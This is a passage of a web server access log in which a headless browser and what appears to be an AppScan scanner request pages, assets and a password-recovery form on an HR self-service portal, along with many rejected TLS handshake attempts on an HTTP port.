"http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:14 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/img/logo.gif HTTP/1.1" 200 3837 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/img/logo.gif HTTP/1.1" 200 3837 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/img/loginbg.gif HTTP/1.1" 200 7026 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/img/loginbg.gif HTTP/1.1" 200 7026 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/img/img1.jpg HTTP/1.1" 200 33358 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/img/img1.jpg HTTP/1.1" 200 33358 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:15 +0800] "GET /ehr/img/index_banner_2.jpg HTTP/1.1" 200 45216 100.64.0.1 - - [05/Dec/2025:21:48:16 +0800] "GET /AppScan_fingerprint/MAC_ADDRESS_NO_MAC_ADDRESS.html HTTP/1.0" 404 249 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:16 +0800] "GET /AppScan_fingerprint/MAC_ADDRESS_NO_MAC_ADDRESS.html HTTP/1.0" 404 249 100.64.0.1 - - [05/Dec/2025:21:48:18 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:18 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 100.64.0.1 - - [05/Dec/2025:21:48:22 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:22 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 100.64.0.1 - - [05/Dec/2025:21:48:22 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:22 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 100.64.0.1 - - [05/Dec/2025:21:48:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:22 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:48:23 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:23 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 100.64.0.1 - - [05/Dec/2025:21:48:23 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:23 +0800] "GET /ehr/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 100.64.0.1 - - [05/Dec/2025:21:48:23 +0800] "GET /ehr/img/title.png HTTP/1.1" 200 1205 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:23 +0800] "GET /ehr/img/title.png HTTP/1.1" 200 1205 100.64.0.1 - - [05/Dec/2025:21:48:28 +0800] "\x16\x03" 501 204 100.64.0.1 - - [05/Dec/2025:21:48:28 +0800] "\x16\x03" 501 204 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:28 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:28 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:28 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:28 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:28 +0800] "\x16\x03" 501 204 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:28 +0800] "\x16\x03" 501 204 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03" 501 204 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03" 501 204 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03" 501 204 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03" 501 204 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03" 501 204 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:29 +0800] "\x16\x03" 501 204 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:30 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:31 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:32 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:32 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:32 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:32 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:32 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:32 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:33 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:33 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:33 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:33 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:45 +0800] "GET /AppScan_fingerprint/MAC_ADDRESS_NO_MAC_ADDRESS.html HTTP/1.0" 404 249 100.64.0.1 - - [05/Dec/2025:21:48:45 +0800] "GET /AppScan_fingerprint/MAC_ADDRESS_NO_MAC_ADDRESS.html HTTP/1.0" 404 249 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:45 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:45 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:48:46 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:46 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:48:46 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:46 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:48:47 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:47 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 100.64.0.1 - - [05/Dec/2025:21:48:49 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:49 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:48:52 +0800] "\x16\x03" 501 204 100.64.0.1 - - [05/Dec/2025:21:48:52 +0800] "\x16\x03" 501 204 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:52 +0800] "\x16\x03" 501 204 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:52 +0800] "\x16\x03" 501 204 100.64.0.1 - - [05/Dec/2025:21:48:53 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:53 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:53 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:53 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:53 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:53 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:53 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:53 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:48:53 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:53 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:54 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:54 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:54 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:54 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:54 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:54 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:54 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:54 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:54 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:54 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:55 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:55 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:55 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:55 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:48:55 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:55 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:55 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:55 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:56 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:56 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:56 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:56 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:56 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:48:56 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:48:58 +0800] "POST 